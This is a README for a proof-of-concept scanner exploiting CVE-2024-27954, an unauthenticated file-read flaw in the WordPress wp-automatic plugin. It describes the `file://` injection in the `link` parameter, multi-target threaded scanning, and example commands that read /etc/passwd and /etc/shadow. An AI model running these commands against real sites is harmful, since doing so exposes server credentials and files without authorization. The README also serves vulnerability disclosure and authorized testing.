CVE-2024-27954 PoC — WordPress Automatic plugin <= 3.92.0 - Unauthenticated Arbitrary File Download and SSRF vulnerability

Readme

# CVE-2024-27954 - WordPress wp-automatic Plugin LFI Scanner

This project provides a Python-based Local File Inclusion (LFI) vulnerability scanner targeting **CVE-2024-27954**, a critical flaw found in the WordPress plugin **wp-automatic**. The vulnerability allows unauthenticated attackers to read arbitrary files on the server using a `file://` injection vector.

## 🚨 Vulnerability Summary

- **CVE-ID:** CVE-2024-27954
- **Component:** WordPress `wp-automatic` Plugin
- **Impact:** Local File Inclusion (LFI)
- **Risk:** Remote unauthenticated file read (e.g., `/etc/passwd`, config files, source code)
- **Vector:** Untrusted `link` parameter using `file://` scheme

---

## 🔧 Features

- Scan single or multiple target URLs
- Test for a single or multiple LFI file paths
- Proxy support (e.g., BurpSuite)
- Multithreaded scanning
- Output vulnerable targets to file
- Human-readable console output

---

## 📦 Requirements

- Python 3.x
- `requests` module

Install dependencies:

```bash
pip install requests
```
## 🚀 Usage
```bash
python3 CVE-2024-27954.py --url http://TARGET --lfi-path /etc/passwd
```
| Argument       | Description                                        |
| -------------- | -------------------------------------------------- |
| `--url`        | Single target URL (e.g. `http://TARGET:8080`)      |
| `--list`       | File containing list of target URLs (one per line) |
| `--lfi-path`   | Single file path to test (default: `/etc/passwd`)  |
| `--paths-file` | File with multiple file paths (one per line)       |
| `--proxy`      | Proxy (e.g. `http://127.0.0.1:8080`)               |
| `--output`     | File to save vulnerable results                    |
| `--threads`    | Number of concurrent threads (default: `3`)        |


## 📂 Example Usages
```bash
python3 CVE-2024-27954.py --url "http://TARGET" --lfi-path /etc/passwd --proxy "http://127.0.0.1:8080" --output results.txt
```
```bash
python3 CVE-2024-27954.py --url "http://TARGET" --lfi-path /etc/shadow --proxy "http://127.0.0.1:8080" --output results.txt
```
<img width="1349" height="433" alt="1" src="https://github.com/user-attachments/assets/ae898bb0-b03e-4b65-97d1-2f835744a144" />

---
# ⚠️ Disclaimer

This tool is intended for educational and authorized penetration testing purposes only. Unauthorized access to systems may be illegal. Use responsibly.

----

## Official Channels

- [YouTube @rootctf](https://www.youtube.com/@rootctf)
- [X @r0otk3r](https://x.com/r0otk3r)

File Snapshot

Remarks